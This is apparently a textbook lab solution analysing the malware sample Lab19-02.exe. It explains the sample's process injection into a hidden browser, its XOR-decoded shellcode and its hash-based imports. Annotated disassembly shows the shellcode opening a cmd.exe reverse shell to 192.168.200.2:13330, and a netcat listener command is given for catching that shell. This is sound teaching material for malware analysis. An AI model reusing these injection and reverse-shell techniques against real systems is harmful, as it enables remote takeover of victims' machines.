The program process-injects the default web browser, Internet Explorer.
The shellcode buffer is located at 0x407030.
The shellcode is XOR’ed with the byte 0xe7.
The shellcode manually imports the following functions:
LoadLibraryA
CreateProcessA
TerminateProcess
GetCurrentProcess
WSAStartup
WSASocketA
connect
The shellcode connects to IP 192.168.200.2 on TCP port 13330.
The shellcode provides a remote shell (cmd.exe).
The malware starts by determining the default web browser by reading the registry value
HKCR\http\shell\open\command. The browser is created as a new
process whose StartupInfo.wShowWindow value is set to SW_HIDE, so the process is hidden from the user interface.
Process-injecting the default web browser is a common malware trick because it is normal for the web
browser to perform network communications.
The following functions are used by the process as part of the injection:
The function at 0x4010b0 gives the current process proper privileges to allow debugging.
The function at 0x401000 gets the path to the default web browser from the register.
The function at 0x401180 creates a new process, whose window is hidden in the GUI.
The shellcode buffer is located at 0x407030. Because the shellcode is capable of bootstrapping itself, dynamic analysis can be easily performed by opening the Lab19-02.exe program in OllyDbg and setting the origin to the start of the shellcode buffer. Just remember that the shellcode is designed to execute within the web browser after it is process-injected, but it can be easier to perform dynamic analysis in the context of the Lab19-02.exe program.
This shellcode is encoded with a single-byte XOR scheme. As shown in Example C-191, 0x18f bytes are XOR’ed with the value 0xe7 at ❶.
Example C-191. Lab19-02.exe decode loop
00407032 pop edi 00407033 push small 18Fh 00407037 pop cx 00407039 mov al, 0E7h 0040703B loc_40703B: 0040703B xor [edi], al ❶ 0040703D inc edi 0040703E loopw loc_40703B 00407041 jmp short near ptr unk_407048 ❷
The shellcode payload begins at 0x407048. Set a breakpoint on the jmp instruction at ❷ in Example C-191, and let the code run. The shellcode payload will be decoded
and available for analysis.
The code performs a call/pop at ❶ in Example C-192 to obtain the address of the function hashes located at 0x4071bb.
Remember that all of the code listings that follow show disassembly of the decoded bytes, so viewing
the payload prior to letting the decode loop run will show different values than those in the
listings.
Example C-192. Shellcode hash array
004071B6 call loc_4070E3 ❶
004071BB dd 0EC0E4E8Eh ; kernel32.dll:LoadLibraryA
004071BF dd 16B3FE72h ; kernel32.dll:CreateProcessA
004071C3 dd 78B5B983h ; kernel32.dll:TerminateProcess
004071C7 dd 7B8F17E6h ; kernel32.dll:GetCurrentProcess
004071CB dd 3BFCEDCBh ; ws2_32.dll:WSAStartup
004071CF dd 0ADF509D9h ; ws2_32.dll:WSASocketA
004071D3 dd 60AAF9ECh ; ws2_32.dll:connectNext, the shellcode processes the array of symbol hashes, as shown in Example C-193. It uses the same findKernel32Base and findSymbolByHash as described in
Chapter 19 and Lab 19-1 Solutions. It loads the next
DWORD containing a symbol hash at ❶, calls findSymbolByHash, and
stores the result back to the same location at ❷. This
turns the array of hash values into a function pointer array.
Example C-193. Hash array processing
004070E3 pop esi 004070E4 mov ebx, esi 004070E6 mov edi, esi 004070E8 call findKernel32Base 004070ED mov edx, eax 004070EF mov ecx, 4 C02 ; 4 symbols in kernel32 004070F4 loc_4070F4: 004070F4 lodsd ❶ 004070F5 push eax 004070F6 push edx 004070F7 call findSymbolByHash 004070FC stosd ❷ 004070FD loop loc_4070F4
The shellcode constructs the string "ws2_32" in Example C-194 on the stack by pushing two DWORD values at ❶. The current ESP is passed
as the argument to LoadLibraryA at ❷ to load the ws2_32.dll library. This is a
common trick to form short strings the shellcode needs while it executes. The shellcode then
proceeds to process the three remaining hash values that reside in ws2_32.dll
at ❸.
Example C-194. Importing ws2_32
004070FF push 3233h ; "32\x00" ❶ 00407104 push 5F327377h ; "ws2_" 00407109 push esp 0040710A call dword ptr [ebx] ; LoadLibraryA ❷ 0040710C mov edx, eax 0040710E mov ecx, 3 ; 3 symbols in ws2_32 ❸ 00407113 loc_407113: 00407113 lodsd 00407114 push eax 00407115 push edx 00407116 call findSymbolByHash 0040711B stosd 0040711C loop loc_407113
Example C-195 shows the socket-creation code. The current ESP is masked
with EAX at ❶ to ensure that the stack is properly
aligned for structures used by the Winsock library. The shellcode calls WSAStartup at ❷ to initialize the library
before any other networking function calls are made. It then calls WSASocketA at ❸ to create a TCP socket. It relies on the value in EAX being 0, and then increments it
to create the correct arguments to WSASocketA. The type value is
1 (SOC_STREAM), and the af value is 2 (AF_INET).
Example C-195. Socket creation
0040711E sub esp, 230h 00407124 mov eax, 0FFFFFFF0h 00407129 and esp, eax ❶ 0040712B push esp 0040712C push 101h 00407131 call dword ptr [ebx+10h] ; WSAStartup ❷ 00407134 test eax, eax 00407136 jnz short loc_4071AA 00407138 push eax 00407139 push eax 0040713A push eax 0040713B push eax ; protocol 0: IPPROTO_IP 0040713C inc eax 0040713D push eax ; type 1: SOCK_STREAM 0040713E inc eax 0040713F push eax ; af 2: AF_INET 00407140 call dword ptr [ebx+14h] ; WSASocketA ❸ 00407143 cmp eax, 0FFFFFFFFh 00407148 jz short loc_4071AA
Example C-196 shows the shellcode creating a struct sockaddr_in on the stack by pushing two DWORD values. The first at ❶ is the value
2C8A8C0h. This is the network-byte-order value of the IP address
the shellcode will connect to: 192.168.200.2. The value at ❷ is 12340002h, which is the sin_family (2: AF_INET) and sin_port values: 13330 (0x3412) in network-byte order.
This sockaddr_in is passed to the call to connect at ❸. Storing the IP address and port this way is extremely compact
and makes static analysis much more difficult when trying to identify network hosts.
Example C-196. Socket connection
0040714A mov esi, eax 0040714C push 2C8A8C0h ❶ ; Server IP: 192.168.200.2 (c0.a8.c8.02) 0040714C ; in nbo: 0x02c8a8c0 00407151 push 12340002h ❷ ; Server Port: 13330 (0x3412), AF_INET (2) 00407151 ; in nbo: 0x12340002 00407156 mov ecx, esp 00407158 push 10h ; sizeof sockaddr_in 0040715D push ecx ; sockaddr_in pointer 0040715E push eax 0040715F call dword ptr [ebx+18h] ; connect ❸ 00407162 test eax, eax 00407164 jnz short loc_4071AA
Example C-197 shows the shellcode responsible for creating the
cmd.exe process. The code stores the command to execute ("cmd\x00") on the stack with a simple push at ❶, and then saves the current ESP as a pointer for later use. The
shellcode then prepares to call CreateProcessA. Most of the
arguments are 0 (the contents of ECX), but note that at ❻, bInheritHandles is 1, indicating that file handles
opened by the shellcode will be available to the child process.
Example C-197. Reverse shell creation
00407166 push 646D63h ; "cmd\x00" ❶ 0040716B mov [ebx+1Ch], esp 0040716E sub esp, 54h 00407174 xor eax, eax 00407176 mov ecx, 15h 0040717B lea edi, [esp] 0040717E rep stosd 00407180 mov byte ptr [esp+10h], 44h ; sizeof(STARTUPINFO) ❷ 00407185 inc byte ptr [esp+3Ch] ; STARTF_USESHOWWINDOW ❸ 00407189 inc byte ptr [esp+3Dh] ; STARTF_USESTDHANDLES 0040718D mov eax, esi ❹ 0040718F lea edi, [esp+48h] ; &hStdInput ❺ 00407193 stosd ; hStdInput := socket 00407194 stosd ; hStdOutput := socket 00407195 stosd ; hStdError := socket 00407196 lea eax, [esp+10h] 0040719A push esp ; lpProcessInformation 0040719B push eax ; lpStartupInfo 0040719C push ecx 0040719D push ecx 0040719E push ecx 0040719F push 1 ; bInheritHandles := True ❻ 004071A1 push ecx 004071A2 push ecx 004071A3 push dword ptr [ebx+1Ch] ; lpCommandLine: "cmd" 004071A6 push ecx 004071A7 call dword ptr [ebx+4] ; CreateProcessA
The STARTUPINFO struct is initialized on the stack,
including the size at ❷. The dwFlags field is set to STARTF_USESHOWWINDOW |
STARTF_USESTDHANDLES at ❸. STARTF_USESHOWWINDOW indicates that the STARTUPINFO.wShowWindow field is valid. This is zero-initialized, so the new process
won’t be visible. STARTF_USESTDHANDLES indicates that the
STARTUPINFO.hStdInput, STARTUPINFO.hStdOutput, and STARTUPINFO.hStdError
fields are valid handles for the child process to use.
The shellcode moves the socket handle into EAX at ❹ and loads the address of hStdInput at ❺. The three stosd instructions
store the socket handle in the three handle fields of the STARTUPINFO structure. This means that the new cmd.exe process will
use the socket for all of its standard I/O. (This is a common method that was shown in Chapter 7.)
You can test connections to the control server by running Netcat on a host with the IP address 192.168.200.2 with this command:
nc -l -p 13330
Once Netcat is running, run Lab19-02.exe on another system. If you have set up networking correctly, the victim machine will connect to 192.168.200.2, and Netcat will show the Windows command-line banner. You can enter commands there as if you were sitting at the victim’s system.